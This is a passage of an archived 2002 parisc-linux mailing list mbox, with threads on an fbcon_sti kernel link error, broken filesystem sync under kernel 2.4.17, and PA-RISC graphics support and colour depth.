> Yes, without PCI you couldn't (until recently) compile
> the STI Console.
>
> Matthew believed that some subsequent changes had possibly
> fixed this error, but I haven't checked yet.
>
> It might be that STI Console depends on FB to be compiled.
> Which can break since STI can still be compiled with FB
> config turned off.
>
> And thus you see the error that you have.

The recompile with PCI enabled has the same error, except it shows as
'0x2590' and '0x2598' instead of the '0x2554' and '0x255c' from last time.
Repeated the same addresses twice...

Not quite sure where to go from here, although I may download the
'linux-latest.tar.gz' copy from CVS and see if perhaps I've got a bad
snippet of code someplace...




From - Thu Nov 08 21:21:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel 2.4.17: fs sync broken?
Date: Wed, 30 Jan 2002 17:28:42 +0100 (CET)
Lines: 27
Approved: news@gmane.org
Message-ID: <1012408122.3c581f3ab077e@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621025 2204 80.91.229.3 (22 Nov 2014 01:50:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 30 09:28:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E392482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Jan 2002 09:28:44 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16VxbG-0003fh-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Jan 2002 17:28:42 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13919

Hi all,

As I continue to investigate the problem with evms (last release 0.9.0) and also
as it still crashes, I try to obtain a more complete tool log file (evmsEngine.log).

So I try to remount my fs (/ here) with option sync (in fstab) and chattr +S
/var/log.

On a previous kernel realease (kernel-2.4.16-pa20) it seems to works for me: I
obtain a more complete log and I notice a famous decrease of the system speed.
But now I do not notice anymore this typical decrease of speed and by the way,
it is not anymore possible to obtain any evmsEngine.log (I presume that it is
the inode which is cleaned after the forced fsck requested at the reboot).

Can somebody tell me if it is specific to parisc or to all architectures for
this 2.4.17 kernel (sometime ago I read some discuss about this but do not get
conclusion)?

Thanks in advance for info,
        Joel



-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:21:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Odd kernel error
Date: Wed, 30 Jan 2002 22:19:39 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20020130221939.A3166@solo.franken.de>
References: <Pine.LNX.4.33.0201291938520.3623-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621026 2205 80.91.229.3 (22 Nov 2014 01:50:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:26 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 30 14:20:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from solo.franken.de (p50844931.dip.t-dialin.net [80.132.73.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 50769482A
	for <parisc-linux@parisc-linux.org>; Wed, 30 Jan 2002 14:20:11 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id g0ULJde06003;
	Wed, 30 Jan 2002 22:19:39 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.33.0201291938520.3623-100000@goliath.alaskatech.org>; from palinux@alaskatech.org on Tue, Jan 29, 2002 at 08:00:21PM -0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13920

On Tue, Jan 29, 2002 at 08:00:21PM -0900, Tom wrote:
> Compiling the latest from CVS (-pa16, I think) and at the final make, when
> gcc is actually doing the '-o vmlinux' I'm getting:
> 
> drivers/video/video.o: In function 'L1260':
> drivers/video/video.o(.init.text+0x2554): undefined reference to
> 'fbcon_sti'
> drivers/video/video.o(.init.text+0x255c): undefined reference to
> 'fbcon_sti'
> make: *** [vmlinux] Error 1

are you using " Advanced low level driver options" ? If yes, there is
a bug in driver/video/Config.in, which doesn't let you select fbcon sti
for advanced config. Turn off the Advanced low level thing and the link 
error should go away.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:21:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Graham Donaldson <Graham_Donaldson@psl-dist.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Graphics support
Date: Thu, 31 Jan 2002 17:59:04 -0000
Lines: 32
Approved: news@gmane.org
Message-ID: <3765AD6E3C88D211A92400A0C9A4F70E0119D735@lawrence.psl-dist.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621026 2207 80.91.229.3 (22 Nov 2014 01:50:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:26 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 31 10:59:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lawrence.psl-dist.co.uk (unknown [193.129.245.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 01491482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 31 Jan 2002 10:59:11 -0700 (MST)
Original-Received: by lawrence.psl-dist.co.uk with Internet Mail Service (5.5.2653.19)
	id <D8FTCN62>; Thu, 31 Jan 2002 17:59:05 -0000
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13921

Hi,

	I notice PA-RISC Linux has X11 working now, but I gather that is via
the STI?  Is that correct?  Would that make it pretty slow?

	I just wondered if you could give me any information on the status
of a proper graphics driver for PARISC Linux, it seems HP is being funny
about letting people have the docs for their chipsets maybe?  Also though I
wanted to consider whether use would be made of HP's colour recovery
technology?  From what I have read, currently in HPUX you must compile your
apps to support the Colour Recovery extension.  However, would it be
possible for this to be inbuilt somehow into the XServer when a proper
driver exists for it?  Many of the lower end workstations only have an 8bit
framebuffer but do support Colour Recovery, and with apps like gnome and gtk
making extensive use of high colour graphics, it seems a shame to not use
this probably under utilised HP technology.

Thanks for reading,

Graham Donaldson
Technical Consultant

Email: 	graham_donaldson@psl-dist.co.uk
Tel:      01706 898285
Fax: 	01706 898200

PSL - Partner Services 
'The partner of choice for the provision of quality IT services to UK and
Ireland channel partners'




From - Thu Nov 08 21:21:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Odd kernel error
Date: Thu, 31 Jan 2002 08:55:52 -0900 (AKST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0201310851400.6397-100000@goliath.alaskatech.org>
References: <20020130221939.A3166@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621026 2209 80.91.229.3 (22 Nov 2014 01:50:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:26 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 31 11:01:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35226482A
	for <parisc-linux@parisc-linux.org>; Thu, 31 Jan 2002 11:01:17 -0700 (MST)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GQTE2401.0MQ for
          <parisc-linux@parisc-linux.org>; Thu, 31 Jan 2002 09:01:16 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GQTE2402.Q1Q; Thu, 31 Jan 2002 09:01:16 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id IAA06409;
	Thu, 31 Jan 2002 08:55:52 -0900
In-Reply-To: <20020130221939.A3166@solo.franken.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13922

> On Tue, Jan 29, 2002 at 08:00:21PM -0900, Tom wrote:
> > Compiling the latest from CVS (-pa16, I think) and at the final make, when
> > gcc is actually doing the '-o vmlinux' I'm getting:
> >
> > drivers/video/video.o: In function 'L1260':
> > drivers/video/video.o(.init.text+0x2554): undefined reference to
> > 'fbcon_sti'
> > drivers/video/video.o(.init.text+0x255c): undefined reference to
> > 'fbcon_sti'
> > make: *** [vmlinux] Error 1
>
> On Wed, 30 Jan 2002, Thomas Bogendoerfer wrote:
> are you using " Advanced low level driver options" ? If yes, there is
> a bug in driver/video/Config.in, which doesn't let you select fbcon sti
> for advanced config. Turn off the Advanced low level thing and the link
> error should go away.

Okay - FTR, enabling PCI and disabling the 'advanced low-level driver
options' allows a clean compile, which happily boots a 715/100 and runs
KDE using the aforementioned XF86Config-4 file.Thanks to all who chipped
in - this gives me hope to get X running on the C180, now that I've got
space to set it up! :-)

BTW, anyone have any feedback on some of the places selling PA-RISC
machines on eBay? Southwest Computer Solutions seems to have a lot of them
at reasonable prices, ditto a few other places, but some seem to have no
idea what these things are and tend to say 'untested-as-is' with a minimum
$200+sh on a C110...




From - Thu Nov 08 21:21:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Graphics support
Date: Thu, 31 Jan 2002 11:04:03 -0700
Lines: 52
Approved: news@gmane.org
Message-ID: <20020131180403.86D6F482A@dsl2.external.hp.com>
References: <3765AD6E3C88D211A92400A0C9A4F70E0119D735@lawrence.psl-dist.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621027 2212 80.91.229.3 (22 Nov 2014 01:50:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:27 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: Graham Donaldson <Graham_Donaldson@psl-dist.co.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 31 11:04:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 86D6F482A; Thu, 31 Jan 2002 11:04:03 -0700 (MST)
In-Reply-To: Message from Graham Donaldson <Graham_Donaldson@psl-dist.co.uk> 
   of "Thu, 31 Jan 2002 17:59:04 GMT." <3765AD6E3C88D211A92400A0C9A4F70E0119D735@lawrence.psl-dist.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13923

Graham Donaldson wrote:
> Hi,
> 
> 	I notice PA-RISC Linux has X11 working now, but I gather that is via
> the STI?  Is that correct?  Would that make it pretty slow?

STI is just the interface to present text on the graphics head.
Frame Buffer driver actually, iirc.

> 	I just wondered if you could give me any information on the status
> of a proper graphics driver for PARISC Linux, it seems HP is being funny
> about letting people have the docs for their chipsets maybe?

Funny? That's a very polite way of putting it.
TCD doesn't seem to be interested in publishing those docs.

grant

> Also though I
> wanted to consider whether use would be made of HP's colour recovery
> technology?  From what I have read, currently in HPUX you must compile your
> apps to support the Colour Recovery extension.  However, would it be
> possible for this to be inbuilt somehow into the XServer when a proper
> driver exists for it?  Many of the lower end workstations only have an 8bit
> framebuffer but do support Colour Recovery, and with apps like gnome and gtk
> making extensive use of high colour graphics, it seems a shame to not use
> this probably under utilised HP technology.
> 
> Thanks for reading,
> 
> Graham Donaldson
> Technical Consultant
> 
> Email: 	graham_donaldson@psl-dist.co.uk
> Tel:      01706 898285
> Fax: 	01706 898200
> 
> PSL - Partner Services 
> 'The partner of choice for the provision of quality IT services to UK and
> Ireland channel partners'
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253



From - Thu Nov 08 21:21:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jbit of Plasma <james_a_n_lee@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Odd kernel error
Date: Fri, 01 Feb 2002 05:57:42 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <3C5A2E56.2030805@yahoo.com>
References: <Pine.LNX.4.33.0201291938520.3623-100000@goliath.alaskatech.org> <20020130221939.A3166@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621027 2217 80.91.229.3 (22 Nov 2014 01:50:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:27 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 31 22:47:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp015.mail.yahoo.com (smtp015.mail.yahoo.com [216.136.173.59])
	by dsl2.external.hp.com (Postfix) with SMTP id 30D72482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 31 Jan 2002 22:47:44 -0700 (MST)
Original-Received: from m293-mp1-cvx1a.cam.ntl.com (HELO yahoo.com) (62.253.145.37)
  by smtp.mail.vip.sc5.yahoo.com with SMTP; 1 Feb 2002 05:47:38 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:0.9.7) Gecko/20011228
X-Accept-Language: en-gb, en-us, en-au, en, ja
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13924

Hi,
If you change the drivers/video/sti/Makefile to ...
obj-$(CONFIG_STI_CONSOLE) += sticore.o sticon.o ../fbcon-sti.o
and somehow get ../fbcon-sti.o to compile, it works perfect...
Theres proberly a better way to get it compiled and linked in, but this way seems to work (even with the Advanced driver stuff enabled)
BTW: is it possible to get a 712 to display more then 8bpp? If so, is any work being done on it?

--jbit

 



_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From - Thu Nov 08 21:21:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jbit of Plasma <james_a_n_lee@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Graphics support
Date: Fri, 01 Feb 2002 06:10:01 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <3C5A3139.20006@yahoo.com>
References: <3765AD6E3C88D211A92400A0C9A4F70E0119D735@lawrence.psl-dist.co.uk> <20020131180403.86D6F482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621027 2220 80.91.229.3 (22 Nov 2014 01:50:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:27 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 31 23:00:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp018.mail.yahoo.com (smtp018.mail.yahoo.com [216.136.174.115])
	by dsl2.external.hp.com (Postfix) with SMTP id C00EB482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 31 Jan 2002 23:00:08 -0700 (MST)
Original-Received: from m293-mp1-cvx1a.cam.ntl.com (HELO yahoo.com) (62.253.145.37)
  by smtp.mail.vip.sc5.yahoo.com with SMTP; 1 Feb 2002 06:00:03 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:0.9.7) Gecko/20011228
X-Accept-Language: en-gb, en-us, en-au, en, ja
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13925

 >>	I notice PA-RISC Linux has X11 working now, but I gather that is via
 >>the STI?  Is that correct?  Would that make it pretty slow?
 > STI is just the interface to present text on the graphics head.
 > Frame Buffer driver actually, iirc.


Yeah, X11 uses the framebuffer driver, it's quite fast (faster then I expected anyway)

 >>	I just wondered if you could give me any information on the status
 >>of a proper graphics driver for PARISC Linux, it seems HP is being funny
 >>about letting people have the docs for their chipsets maybe?
 > Funny? That's a very polite way of putting it.
 > TCD doesn't seem to be interested in publishing those docs.


I assume this includes the 712 gfx chipset (the "artist" chip, iirc)
Wonder why they don't want to release any infomation? Is there any unoffical infomation, a proper X driver should make it faster.

 >>Also though I
 >>wanted to consider whether use would be made of HP's colour recovery
 >>technology?  From what I have read, currently in HPUX you must compile your
 >>apps to support the Colour Recovery extension.  However, would it be
 >>possible for this to be inbuilt somehow into the XServer when a proper
 >>driver exists for it?  Many of the lower end workstations only have an 8bit
 >>framebuffer but do support Colour Recovery, and with apps like gnome and gtk
 >>making extensive use of high colour graphics, it seems a shame to not use
 >>this probably under utilised HP technology.

Sorry to ask, but I couldn't seem to find any docs on it, whats "Colour recovery"?

Thanks
--jbit



_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From - Thu Nov 08 21:21:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Odd kernel error
Date: Fri, 01 Feb 2002 00:38:22 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20020201073822.77149482A@dsl2.external.hp.com>
References: <Pine.LNX.4.33.0201291938520.3623-100000@goliath.alaskatech.org> <20020130221939.A3166@solo.franken.de>  <3C5A2E56.2030805@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621028 2249 80.91.229.3 (22 Nov 2014 01:50:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:28 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Jbit of Plasma <james_a_n_lee@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  1 00:38:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 77149482A; Fri,  1 Feb 2002 00:38:22 -0700 (MST)
In-Reply-To: Message from Jbit of Plasma <james_a_n_lee@yahoo.com> 
   of "Fri, 01 Feb 2002 05:57:42 GMT." <3C5A2E56.2030805@yahoo.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13926

Jbit of Plasma wrote:
> BTW: is it possible to get a 712 to display more then 8bpp?
> If so, is any work being done on it?

I'm pretty sure 712 (Artist) only supports 8bpp.
IIRC, 24 bpp was available on the 715's with HCRX (sp?) cards.

grant



From - Thu Nov 08 21:21:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: andi <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Graphics support
Date: 01 Feb 2002 10:24:52 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <1012555492.683.7.camel@cube>
References: <3765AD6E3C88D211A92400A0C9A4F70E0119D735@lawrence.psl-dist.co.uk>
	<20020131180403.86D6F482A@dsl2.external.hp.com>  <3C5A3139.20006@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621028 2252 80.91.229.3 (22 Nov 2014 01:50:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jbit of Plasma <james_a_n_lee@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  1 02:28:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tentakel.fischlustig.de (pD9001DC4.dip.t-dialin.net [217.0.29.196])
	by dsl2.external.hp.com (Postfix) with ESMTP id 534FD482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  1 Feb 2002 02:28:03 -0700 (MST)
